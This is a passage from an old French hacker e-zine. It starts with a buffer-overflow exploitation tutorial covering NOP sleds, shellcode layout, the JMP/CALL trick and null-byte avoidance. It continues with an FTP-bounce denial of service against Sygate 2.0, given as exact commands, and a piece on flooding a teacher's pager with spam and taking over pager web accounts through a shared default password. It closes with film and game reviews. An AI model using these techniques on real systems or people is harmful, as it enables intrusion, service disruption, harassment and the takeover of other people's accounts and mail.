Or, il se  fait qu'en C, les librairies standards d'entree/sortie n'effectuent
justemment aucune verification sur la taille des donnees ajoutees dans le
buffer. [no bound-checking]

Ca veut dire quoi ?
Rappelez vous un petit peu les dernieres lecons du tutorial C de Wyzeman ;))
Vous vous souvenez que pour demander une valeur, on utilisait la petite
fonction scanf().
Par exemple:

char buffer[10];
scanf("%s",buffer);

Reflechissons un ti peu. On voit donc que le buffer a une taille de 10.
Donc ca veut dire que si on tape 11 caracteres...hehe vous devinez la suite ;)
Une autre fonction fort utilisee pour la saisie en C est la fonction gets().
C'est en fait la meme fonction que scanf("%s",buffer), mais elle s'appelle
comme ceci: gets(buffer);

Ensuite, il y a toute une serie de fonctions qui permettent de traiter des
chaine des caracteres:

strcat(buffer1,buffer2) : cette fonction ajoute la chaine du buffer2 dans
                          le buffer1. Donc si buffer1 est trop petit... :)

strcpy(buffer1,buffer2) : cette fonction copie la chaine du buffer2 sur la
                          chaine du buffer1.si le buffer est trop petit.;)

Puis, il y a aussi les programmeurs qui utilisent des fonctions de lecture
caractere par caractere, mais qui se disent: "ohhh, mes mot de passe ne seront
jamais plus grand que 8, la personne n'a pas besoin de se planter, elle n'a
qu'a taper un mot de passe plus petit que 8 !" lol :)))

Voici quelques fonctions de lecture des caracteres: getc,getchar,...

D'autres methodes, encore. Les commandes de gestion de fichier texte.
Beaucoup de programmes Unix permettent de prendre des informations dans des
fichiers au format texte. Il vous suffit d'essayer dans ces cas-la, de faire
un fichier texte avec une ligne de 1000 caracteres, et vous verrez tres vite
si le programme une fonction critique de lecture ;)

Etant donner que toutes ces fonctions sont donc generalement utilisees avec
des variables locales (sur la pile), il y a toute une serie de pistes
possibles pour trouver des buffers overflows.

Pour vous donner une idee, n'oubliez pas non plus que pas mal de programmes
Unix sont fournis avec le code source, d'ou meme pas besoin de trop reflechir,
suffit d'analyser le code source ;))))

Un ti exemple: Il y a e peu pres 2 ans je pense, un buffer overflow a ete
trouve dans la commande SERVER du protocole IRC des serveurs IRC Undernet, qui
n'acceptait pas plus qu'un certain nombres de caracteres. Chouette hein !
hehe ;) Ca voulait dire qu'en gros, vous pouviez planter tout le serveur
Undernet, ou executer des commandes sur la machine meme du serveur. Hehe ! Je
n'ai pas eu cette chance ouin, je l'ai apprit trop tard lol ;)))))

Si vous voulez essayer d'en trouver, par exemple, le mieux consiste a charger
le programme sur votre ordi, bien tranquillement, et de tester cela chez vous
bien au chaud sans embeter personne ;) Ensuite, vous essayer toutes les
saisies possibles, avec de longues chaines de caracteres.

Sous Windows, suffit de foutre une bonne fois pour toute une longue chaine
(1000 caracteres...) dans votre clipboard et de la coller a chaque fois, ca
peut aller tres vite ;) Si le programme plante, avec une belle erreur, du
style "erreur de page" ou un truc comme ca, c'est que vous venez probablement
de trouver une petite mine d'or :))))

D'ou ca vient ? Ben vous avez tapez n'importe quoi dans votre buffer, donc ca
a ete ecras l'adresse de retour avec n'importe quoi, et sous les systemes
du genre Windows/linux sur Intel, ce n'est pas souvent autoris de sauter a
n'importe quelle adresse :)

Voici quelques programmes connus dans lesquel on a trouv des buffers
overflows dernierement:

- Internet Explorer 4.0 (connaissez vous ? ;)
- Outlook Express       (mailer de Micromachin ;)
- wu-ftpd               (serveur FTP Linux)
- sendmail              (programme pour envoyer des mails sous Unix)
- Windows NT            (paths trop longs)
- IIS 4.0               (serveur Web sous Windows NT)


OU EST CACHEE CETTE FOUTUE STACK ?
==================================
Ben oui c'est bien pratique tout ca, mais le probleme est qu'on a souvent
besoin d'avoir une idee a peu pres de l'adresse de retour que l'on va devoir
remettre. Et la ca a l'air de se compliquer ;(((

Dans les systemes Intel, pour les systemes multitaches genre Windows, Linux,..
la memoire est geree de maniere virtuelle. Ca veut dire que chaque programme
pense qu'il est le seul en memoire, et qu'il a toute la place qu'il veut.
Ca veut dire aussi que c'est le systeme qui se charge de faire les conversions
d'adresses necessaires, etc...
Donc nous n'avons pas exactemment besoin de connaitre l'emplacement exact de
notre programme en memoire, juste de savoir dans "son bloc de memoire a lui"
ou la stack se trouve. C'est deja un peu plus facile :)

2emement, c'est le compilateur qui definit les adresses de toutes les donnees
contenues dans le fichier EXE a l'execution.

Ca veut dire qu'une fois qu'on sait ou la pile commence, elle commencera
toujours a cette endroit la, meme 10 ans plus tard ;)

Mais ou c'est encore plus interessant, c'est que comme tout les programmes
se pensent seuls en memoire, ils peuvent utiliser chacun les memes adresses
"numeriques" virtuelles. Et le processeur Intel se sert justemment de cette
particuliarit pour pouvoir switcher les taches plus facilemment.

Ca veut dire que la pile d'un programme Windows/Linux se trouve toujours a
la meme adresse virtuelle.

Comment trouver cette adresse ?
Il y a plusieurs moyens. Je vais parler ici des moyens sous Windows, mais ces
moyens doivent aussi exister sous Linux, grace a des utilitaires comme GDB.

Le 1er moyen est de sortir un bon gros debugger sous Windows, par exemple
W32DASM (si vous ne connaissez pas, prenez le, c'est le meilleur ;)
Vous lancer le debugging du programme dont vous voulez trouver la pile, puis
vous allez tout simplement voir le contenu du registre ESP (registre de pile),
tout au debut ,des que le programme est charg.

Le 2eme moyen est de creer un petit programme sous Windows, qui affiche au
demarrage le contenu du registre ESP. Cela est assez facilemment programmable
avec les fonctions d'inclusions d'operandes assembleur dans divers
compilateurs C/C++:

unsigned long esp(void) {
 asm mov eax,esp
}
void main() {
  printf("0x%x\n",esp());
}


LE BUFFER
=========
Maintenant que nous savons avec exactitude ou se trouve notre stack, il
faudrait savoir ou dans la pile se trouve notre buffer. Le, il n'y a pas de
solution radicale et d'adresse exacte: il faut chercher. C'est souvent ca le
plus difficile a faire pour exploiter un buffer overflow.

Mais il y a plusieurs petites idees qui peuvent nous aider a ne pas tapez
completement au hasard.

De nouveau, notre cher debugger peut nous aider, en faisant du pas a pas, a
voir la maniere dont le registre ESP evolue au cours d'une execution pas a pas
par exemple.

Mais on peut aussi faire un semblant de calcul.
Le nombre total de valeurs a tester ne sera de toute maniere jamais
astronomique. Le nombre de procedures appelees les une dans les autres, n'excede
pas souvent 50 appels. Ca fait 50*4=200 bytes. La dedans, il y a toutes les
variables locales, le plus souvent des valeurs numeriques, donc 4 bytes a peu
pres pour chacune. En comptant 50 variables locales dans chaque procedure (ce
qui est deje enorme), on arrive a 200 bytes par procedure de nouveau.
On peut eventuellement rajouter quelques buffers de caracteres dans les
procedures, et on peut arriver a un total de 500 bytes par procedure.
Etant donn que notre buffer overflow ne se trouve pas souvent dans la 50eme
procedure appelee, supposons dans la 25eme par exemple:

25*4+500*25=12600 bytes.

Or tout les bytes sur la pile sont alignes sur des valeurs de 4 bytes, donc ca
nous fait 12600/4=3150 valeurs.

Ca parait beaucoup, mais je vous rappelle qu'on a ici suppos un programme
avec 25 procedures emboitees les unes dans les autres, et avec 50 variables
locales dans chacune, ce qui est deje un programme assez enorme hehe ;))
En pratique, certains petits programmes utilisent une pile avec maximum 50
valeurs, ce qui est minime.

Le probleme est que notre adresse de retour doit se trouver exactemment au bon
endroit. Si le processeur saute un byte trop haut ou un byte trop bas, il
plantera completement.
Nous allons donc essayer d'adopter une "structure" pour notre buffer overflow,
qui devrait maximiser nos chances de reussite.

Tout d'abord, nous allons essayer d'utiliser l'instruction NOP.
L'instruction NOP des processeurs Intel est une instruction qui n'execute
rien :) A quoi cela peut-il nous servir ? Tout simplement, a eviter de
connaitre l'adresse exact du debut de notre buffer. Si nous placons une serie
d'instructions NOP au debut de celui-ci, nous pourrons assez facilement
deviner ou se trouve plus ou moins le debut. Si le processeur ne tombe pas
exactemment sur le debut, il executera des NOP jusqu'au debut des autres
instructions utiles, et ne plantera donc pas.

Ensuite, nous ne savons pas non plus exactemment a quel endroit se trouve
notre valeur de retour sur la pile. Mais nous savons qu'une adresse de retour
est de 4 bytes, et qu'elle doit se trouver apres la fin de notre buffer.
Nous devons donc essayer d'aligner nos adresses de retour sur une valeur
multiple de 4. Nous allons aussi ecrire plusieurs fois cette adresse de
retour a la fin de notre chaene, pour avoir plus de chance que le processeur
tombe dessus lors du retour de procedure.

Nous allons donc ecrire notre buffer overflow de la maniere suivante:

NNNNNNNNNNNNNNNNNNNNNNNNNNNccccccccccccccccccccccccaaaRRRRRRRRRRRRRRRRRRRRR
                              
Ou N represente une instruction NOP (codee 90h en assembleur).
   c represente le code reel de notre exploit.
   a represente des bytes d'alignement (de 0 a 3 suivant le besoin).
   R represente l'adresse approximative du debut de notre buffer.
   (approximative puisque il y a nos petits NOP devant ;))))

Pour calculer ce "R" (adresse approximative du buffer), nous devons partir de
l'adresse contenur dans ESP, et y ajouter une certaine valeur,  suivant le
nombre de variables locales et de procedures appelees.

Donc, pour realiser un buffer overflow, nous devons donc essayer de nous creer
un petit outil dans lequel on entre les parametres suivants:

-facteur d'alignement (0 a 3): va modifier le nombre de "a" apres notre code.

-adresse approximative du debut du buffer: a placer dans les "R", et egale
 a la valeur du ESP de depart, duquel on a soustrait un certain nombres de
 byte (car la pile descend ;)

-taille supposee du buffer: de cette maniere notre outil saura combien de NOP
 inserer au debut du buffer, en soustrayant la longueur de notre code "c"
 de la longueur totale supposee du buffer. Il est aussi interessant de noter
 que pour des raisons basees sur l'hexadecimal, beaucoup de programmeurs
 creent des buffers de tailles multiple de 2 et meme plus generalement
 multiples de 16.

Cet outil est bien evidemment dependant du programme que l'on cherche a
smasher. En effet, dans le cas d'un serveur FTP par exemple, cet outil doit
d'abord ouvrir la connection, puis faire le login, etc et enfin entrer la
commande qui provoque le buffer overflow, avec notre chaine de buffer
overflow dedans, adaptee selon les parametres.

Maintenant, il nous reste le principal:

Creer le code du programme que l'on veut foutre dans le buffer.
Pour cela, c'est bien evidemment un programme en assembleur que vous allez
devoir ecrire. Une fois ce petit programme bien teste de maniere independante
du buffer overflow, il faut le dumper, c'est a dire le coder sous forme de
valeur hexadecimal (WIN32DASM fournit les dumps d'un programme executables),
car ce sont ces valeurs hexadecimals que nous allons devoir entrer dans le
buffer. Il faut aussi remarquer que notre code va etre execut, mais lors de
sa terminaison, il va vouloir aller rechercher la valeur de retour sur la pile
ou il va tout simplement continuer a executer ce qui se trouve en memoire,
ce qui dans les 2 cas provoquera un plantage tres rapide du systeme ;)
Donc, il est preferable de creer un petit code qui boucle indefiniment, ou qui
n'autorise pas une sortie, de maniere a eviter ce probleme.

Voila, cela devient presque un jeu d'enfant de tester les buffers overflows
lol ;) Une fois les parametres exacts trouves, sauver les 10 fois hehe ;)
En effet, ces valeurs dans un programme normalement constitu ne varieront
pas, du moins si vous executer toujours la meme sequence initialise de login
etc dans votre outil.


LES ADRESSES LOCALES
====================
Comment faire pour utiliser des variables dans notre propre code ?
Par exemple, nous voulons que notre code lance un programme dont nous placons
le nom dans une chaine de caracteres.

Il nous faut donc l'offset exacte de la chaine de caractere dans notre code.
Pour cela, on va utiliser quelques instructions en assembleur, qui seront
bien utiles. L'instruction CALL, qui appelle une procedure, possede une
propriete interessante. Elle laisse en effet l'adresse de l'instruction
suivant l'instruction appelante sur la pile. Normalement cette adresse est
utilisee par le RET, pour revenir a la procedure appelante.

Mais le processeur ne sait pas si ce qui suit le CALL est une instruction ou
bien des donnees diverses.

De plus, l'instruction JMP permet de specifier des deplacements relatifs,
c'est a dire de ne pas donner l'adresser reel du saut, mais bien de dire
que le saut se trouve a par exemple 10 bytes de l'adresse courante.

Nous allons donc proceder de la maniere suivante:
Nous allons donc organiser notre code ("ccccc" dans le schema precedent) de
la maniere suivante:

JPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPCCssssssssssssssssssssss

Ou J represente un saut relatif (JUMP SHORT) vers C
   P represente les instructions de notre code proprement-dit
   C represente une instruction CALL suivie de l'adresse du debut de notre
     code reel (=adresse mise dans "R" sur la pile tantot+2, a cause du JMP
     SHORT du debut de notre programme, qui est code sur 2 octets).
   s represente les caracteres de notre chaine dont on veut connaitre
     l'adresse exacte.

Que va-t-il se passer ?

JPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPCCssssssssssssssssssssss
||                                      ||
||_______________(1 ->)_________________||
 |                                       |
 |_______________(2 <-)__________________|

Le processeur va executer notre JMP SHORT jusqu'au CALL.

Le CALL va placer l'adresse de ce qui le suit (justemment l'adresse de notre
chaine ;) sur la pile, puis va sauter a l'instruction qui suit notre JMP SHORT
au debut de notre code.

Pour recuperer l'adresse de notre chaine, on a plus qu'a faire un petit
POP EAX par exemple, et l'adresse de notre chaine se trouve dans EAX :)))


PETITES PROBLEMES
=================
Il y a certains petits problemes qui peuvent encore apparaitre lors de la
realisation du buffer overflow.

Le 1er probleme est le cas du foutu caractere 00h ;) Si dans notre code de
programme a placer dans le buffer, nous avons un caractere 00h, cela peut
poser probleme. En effet, en C, le caractere 00h indique une fin de chaine, et
donc la suite de notre code pourrait ne sera pas etre chargee dans certains
cas. Il n'est pas complique d'eviter ces caracteres, il suffit de chipoter
avec les commandes assembleur utilisees dans le code. Par exemple, a la place
de faire:

mov eax,0
on peut faire:
sub eax,eax
ou encore xor eax,eax
etc... ;)

Le 2eme probleme est l'utilisation de la pile.
En effet, si nous voulons utiliser la pile pour mettre des parametres, nous
risquons d'aller ecraser notre code lui-meme !!!

Or, toutes les fonctions APIs de Windows par exemple, necessite le passage des
parametres sur la pile ! On risque donc de tout casser ;)

Pour eviter cela, il suffit tout simplement au debut de notre code de modifier
la pile pour qu'elle commence en dessous du code de notre programme.
Pour cela, il suffit de placer une instruction

SUB ESP,T

Ou T represente une valeur qui est plus grande que la taille de notre buffer
(taille fournie tantot comme parametre dans notre petit "outil").
Comme cela, la pile continuera en dessous de notre petit programme, sans aucun
probleme.


Voile, j'espere que vous voyez maintenant un peu mieux comment programmer
pratiquement des buffers overflows... Maintenant il ne vous restent plus qu'a
les trouver hehe ;)

Pour un prochain article, on va ptet envisager avec __2 de vous proposer un
code de buffer overflow complet, on verra ;)

Ciaaaaaaaooooooooooooooo
                                                           Rix-Agressor-Shogun                     
 
 ___________________
[Quotes of the month]\____________________________
[Ici git la derniere quotes de ce Zine, et non notre
[imagination n'est pas epuise, mais __2 nous a fait
[un ultimatum sur la non publication des quotes le
[concernant!                                         ]




                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.20]  _|_|            Sygate 2.0 DoS
 \_________/_/                 So CalleD                    _ ______ __ _  _
                        DoS for Denial of Service         _/_/   [By:__2]    \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]


Qui ici se rapelle de Sygate 2.0? Nous en avions deja 
mentionner l'existence dans un precedent magazine. So, 
pour ceux qui ne sen rapelle pas voici un resumer:

"Sygate est un programme permettant a plusieurs ordinateurs
connecter en reseau de passer par 1 ordinateur connecter a
un modem pour allez sur internet et cela de facon "BLIND"
voir masquerading. Il s'agit d'une alternative tout-a-fait
differente du classique PROXY/WINGATE server."

Ce programme est genial, on l'installe, chaque personne mette
le IP de la personne dans leur GateWay et POUF! on se retrouve
tous sur internet. Mais voila qu'il existe un DOS plus ou moins
restreint permettant quelque truc possible.

Il y a deja 1 mois, jai fait du portscanning sur une machine dite
Serveur Sygate-Gateway qui etait biensur dans le reseau local,
Sygate etant le programme que moi et wyzeman utilisons pour passer
sur internet a partir de notre 3-eme ordinateur. J'ai decouvert
tout d'abord le port suivant, 7323. une breve connection via
TELNET ma donner ceci:

SyGate 2.0 for Windows 95/98/NT build 322
Welcome to SyGate remote controller!


For security purpose, SyGate remote controller can be access
only from your Local Area Network (LAN).
-

======== Function Key ==========
<ESC>               exit
P            Stop SyGate Service
D            Display SyGate Status
N            To Dial ( Dial-Up Networking only )
F            To Hang Up( Dial-Up Networking only )
T            Display All TCP Connection(s)

Ready to accept command. Press one function key, or 'H' for help.
You choose:

---

Vous comprenez que c'est assez explecite. Voici la reference
et se que fait chacune des commandes.

P - Ferme le service Sygate, empeche donc les ordinateurs qui
    y sont connecter d'allez sur le net. Ca equivalence un modem
    non connecter pour chacun des utilisateurs :)

D - Display Sygate Status:
     
========================================================
            SyGate  , Unlimited Users version
========================================================
Engine: Running, On Line
TCP Ports Used: 1       UDP Ports Used: 2       ICMP Session: 0
Application Activity: 2 Suspended Trans: 2
Current Users: 1        DHCP On-line Users: 0
Dial-Up Line Idle Time: 10

Ready to accept command. Press one function key, or 'H' for help.

---

Ici on peut voir que nous n'utilisons pas le DHCP mais des IP
Fixe. Il s'agit en fait d'informations courrantes sur se qui se
passe....

N) Recompose le numero de l'acces en court si vous vous 
   faite disconnecter.

F) C'est disons le, vraiment explicite, ca deconnecte le modem
   et du meme coup la connection internet. Sous modemcable utiliser
   le STOP SERVICE a la place du HANGUP.


T) Ceci est tjour pratique a savoir:                                                                    
List all tcp connections
-------------------------------------------------
1.      192.168.0.3:1926        207.241.4.58:6669       idle time: 19835ms
-------------------------------------------------
there are 1 tcp connection(s).                  

---

Presentement , on peut voir que le 192.168.0.3 [wyzeman] est sur
207.241.4.58 port 6669 c'est a dire:

*** Resolved 207.241.4.58 to tai.wwa.com
-
*** Looking up tai.wwa.com

Il est donc possiblement sur IRC. Il aurait ete pratique de pouvoir
fermer les connections TCP mais ne soyons pas trop gourment.


La Contrepartie? Et oui il en a tjour une. C'est bien beau tout ca,
mais on ne peut pas y acceder via l'exterieur. Il s'agit d'un port
blocker a un reseau "local". Je ne sais pas si le fait de s'ajouter
a distance dans un reseau quelquonque vous donne les memes droits
mais une chose est sure, il y a tjour moyen de faire avec. Si vous
scannez le port 7323 de l'exterieur vous n'aurez meme pas de query
ou quelque chose qui vous laisses penser quil est installer [sygate]
alors moi se que j'ai fait, c'est utiliser une vieille technique
discuter dans le #10, je parle biensur du FTP-BOUNCE :-) Si par exemple
le port 21 est ouvert, connectez-vous dessus et tappez ceci:

USER ANONYMOUS
PASS A@A.COM
PORT 127,0,0,1,28,183          <--- [28*255+183=7232]
LIST

Si ca ne fonctionne pas, il n'y a pas de sygate :-)
Dans le cas contraire, faite vous un fichier contenant par exemple
la lettre P et redirigez-le, ca devrait etre suffisant, faite au 
pire carrement un LIST , les chances de tomber sur un P ou un F
dans un FILE_LISTING etant tres repandu :-)

Ceci est en fait un Denial of Service, une facon de faire planter
legerement une machine. Il n'y a pas reelement de hacking mais plutot
une technique comme ca, nee de la curiositer :]


                                     __2.Sygate2_0.its.a.good.soft

                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.21]  _|_|          Phone fucking #9
 \_________/_/                 So CalleD                    _ ______ __ _  _
               Bell mobilite innove encore et tjours      _/_/  [By:Bozzo]   \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]



Bon ok c pas du hacking, mais c de la crosse...Dans l'fond...le hacking aussi 
c de la crosse...une grosse game de crossage....(mais ce qu'il est vulgaire
 ce Bozzo)

Bell Mobilit ont depuis environ 2 mois sorti un nouveau service avec les
pagettes alpha-numriques...Avec ce service tu peux recevoir des mails sur
ta pagette...Ex: ton # de pagette est 647-1234, ben ton e-mail vas tre 
6471234@teleav.mobility.com . Tu as genre une limite de 100 msg par mois 
apres ca c'est 20cents du msg.Donc j'aime pas mon prof de philo qui as un
page comme ca...je le spamme de 500 msg, je lui bust sa limite de msg, 
donc ca fait 400 msgs  0.20$ donc 80$. Une fois par jour ca coute cher au
bout du mois :) Mais y'as de koi de plus interessant avec ca c'est que 
chaque utilisateur d'une pagette comme ca, as une section sur une page web
 (pager.mobility.com) ou il peut faire plusieurs choses, rediriger ses 
mails, lire ses mails, en crire, voir les derniers mails recu (ils sont
gards pendant 7 jours) dsactiver la pagette, l'activer etc... Sauf que
pour avoir acces  ca...il faut un login et un pass...Le login, c'est le
# de la pagette ex: 647-1234  et le pass, (c la que ca deviens trop idiot)
c'est : bonjour   .C'est le mot de passe par dfaut, que environ 1 usager 
xur 100 change:) La band de twit,ils auraient pus gnrer des mots de passe
 aleatoirement, ben non, ils fouttent le meme pass a tout le monde. Donc, tout
ce qu'il reste a faire, c'est de trouver un # de pagette a Qubec.Ces pagettes
sont toutes dans le 647-****  donc il s'agit de les essayer un par un
(patience...) ou ben de se faire un petit code qui les fait tout seul(__2).
A date j'en connais environ 10 accomptes dans les 647-5*** et plus.Donc un 
coup vous avez ca vous pouvez lire les derniers mails que le gars as recu, 
rediriger ses mails, modifier son alias e-mail etc Une chose pratique, c'est
de se servir de son accompte comme compte e-mail...C que vous avez une
option qui permet de couper l'envois des mails sur la pagette, et  la 
place de les rediriger sur un autre e-mail...Donc vous vous servez de 
son accompte pour recevoir des mails, mais comme vous avez bloquer l'envoi
sur sa pagette, lui il ne vois rien aller...
                                                                               
                                                              
     		                                             Bozzo


                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.22]  _|_|        INFO-PUB: when no ones read this
 \_________/_/                 So CalleD                    _ ______ __ _  _
                             Nothing to said              _/_/ [By:Wyzeman] \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]


			Info pub #11


	jsais pas pourquoi jlappelle #11, jai commencer a partire du iga #5 :p
donc, cest en fait un #6, mais bon, on sastinera pas la dessus, appellez le 
donc comme vous voullez :] 





-------------------------------------------------------------------------------
				706 automobile
-------------------------------------------------------------------------------


	suzuki swift a vendre, nouvellement accidenter, prix de vente, trop 
chere pour ce que sa vaux..


call Wyzeman



-------------------------------------------------------------------------------
				Suggestion lecture
-------------------------------------------------------------------------------

	nimporte quel livre de programation qui vous interresse, avant daller
poser des question stupides sur des commande de base.



	le seigneur des anneaux. classic de son genre. le grand JRR Tolkien, 
nous devoille un monde fantastique, agrementer de la tout aussi classic guerre
entre le bien et le mal. epoper legendaire, doit absolument faire partie de 
votre culture. 


-------------------------------------------------------------------------------
                                  cinema
-------------------------------------------------------------------------------


	se mois si, un gros titre a pris la tete daffiche, comme vous lavez 
sans doutes dejas deviner, il sagit de



				Star Wars

	quelque par dans une galaxie tres loingtaine......si comme moi  vous
etes, un fan, des que vous verrez c'est ligne safficher, et le main theme de 
star wars retentira a vos oreilles, les larmes vous viendrons au yeux,  y'as 
pas de doutes. bon, jimagine, que comme  tout  le  monde,  vous  etes  dejas 
submerger dannonce publicitaire, d'un niveau de marketing digne des meilleur
campagne de IGA. donc, je ne vous  conterais  pas lhistoire. linfographie du
film est exelente. Allez le voir une fois, et  regarder  le  avec  des  yeux 
d'enfant,  vous  allez  en  baver,  ensuite  retournee  le  voir,  et porter 
attention a tout les details, vous allez voir que Lucas, ne fait jamais rien 
a la butch..

This movie ruxx at will

		             le 13e etage


       film traitant du meme sujet que The matrix, mais traiter d'une facon
differente,  disont,  que le film fait plus de reflection face au different 
"monde" et apporte une  nouvelle  touche  philosophique  au  principe,   au 
detriment  de  laction.  Allez  tout de meme voir se film, ne serait-ce que 
pour en apprecier la parodie que IGA projete de creer, called : THE BASEMENT.


				eXistenZ

	suxx suxx suxx suxx suxx suxx suxx suxx suxx suxx suxx suxx   aller 
voir  ca geler, vous allez halluciner, autrement fuyer ce film le plus loin 
que vos  jambes le permettra.


-------------------------------------------------------------------------------
				entertainement
-------------------------------------------------------------------------------

	Onyx     nous  a  fait  un  petit  text  sur  everquest, je lai pas 
personnelement mais jpeux dire en connaissance de cause, que ca laire detre 
un jeux vachement cool,  puisque Qderf et Onyx y passe maintenent le 3/4 de 
leur temps libre,  un peu ce qui risque de marriver a la sortie de mankind. 




EVERQUEST:
----------

1. Description du jeu:
----------------------
- Everquest est un jeu online, multiplayer, qui pourra permettre 
   plus de 1000 joueurs de s'immerger, en mme temps, dans un 
  univers d'heroic fantasy.  

- Le jeu sera support par de nombreux serveurs, chacun de 
  ceux-ci pourra accueillir 1500 joueurs simultanment.  

- Possibilit de choisir entre 12 races, rparties en 14 classes. 
  Humains, Elfes, Nains, gnomes, Trolls, etc...  

- Plus de 40 comptences pourront tre utilises afin de 
  reproduire un environnement proche de la ralit. Les comptences 
  vont bien sr du combat  la masse,  la magie, jusqu' la couture.  

- Des milliers d'objets  collectionner, et  trouver seront une des 
  plus grandes attractions d'Everquest. Objets allant des armes 
  jusqu'au matriel ncessaire  la magie.  

- L'univers d'EQ reprsente 3 continents (2 autres seront 
  ajouts plus tard), dont certains sont gigantesques.  

- Chacun pourra incarner le personnage qu'il dsire. En ce sens, que si 
  certains prfrent la solitude , ils pourront jouer sans problmes. 
  Mais la formation de guildes, de clans est conseille. 
   Cela ajoute une dimension au jeu.  

- Des centaines de sorts pourront tre utiliss, rpartis en 5 
  disciplines de la magie.  

- Le Pkilling (le meurtre des joueurs par les joueurs), sera contrl. 
  Un systme de switch est implant. 

- Environnement 3D, avec la possibilit d'utiliser une camra pour obtenir 
  des vues multiples. Les couleurs seront SVGA en 16 bits.  

- Les personnages seront en forme polygonales, les sprites ne 
  seront pas utiliss.  

- Le jeu est optimis pour les cartes acclratrices 3DFX.

2. Configuration:
-----------------

Systme minimum requis:
-----------------------
Pentium 166
Windows 95 / Windows NT 
32 mgabytes de RAM
28.8 connection internet ou plus
Carte video Direct3D

Configuration recommande:
--------------------------
Pentium 200 ou +
Carte video 3Dfx

3. Pour finir:
--------------
Bref, si vous aimer les jeux de roles multijoueurs ce jeu est
fait pour vous. Un abonnement est requis pour jouer. Pour plus
d'information je vous invite a visiter le site officiel:
-> www.everquest.com

                                          Onyx
 ___________________
[Quotes of the month]\____________________________
[TrueMan say's : Ils tournent en rond toute la journee, 
[                Ils font ca sans arret!!!!!          ]


 _________________   __________________   ________________________
|                 | ;        __________| |            o           |
|                 ; |       |____.     | |            __          |
|_________________| |__________________| ;___________|  |_________|
[illegal granted access #11 : Thats the END!]

Bon comme ces lettres vont passer a l'histoire, je les ai mises la!

[EOF]
